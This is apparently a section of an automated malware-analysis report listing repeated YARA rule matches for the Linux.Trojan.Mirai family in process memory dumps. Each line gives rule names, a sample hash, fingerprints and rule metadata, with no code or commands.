Source: 6401.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7147.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7147.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7147.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6896.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6896.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6896.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6888.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6888.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6888.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7005.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7005.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7005.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6937.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6937.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6937.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7065.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7065.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7065.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6316.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6316.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6316.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6393.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6393.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6393.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6507.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6507.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6507.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7113.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7113.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7113.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6573.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6573.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6573.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6331.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6331.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6331.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6864.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6864.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6864.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7366.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7366.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7366.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6471.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6471.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6471.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6262.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6262.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6262.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6933.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6933.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6933.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7188.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
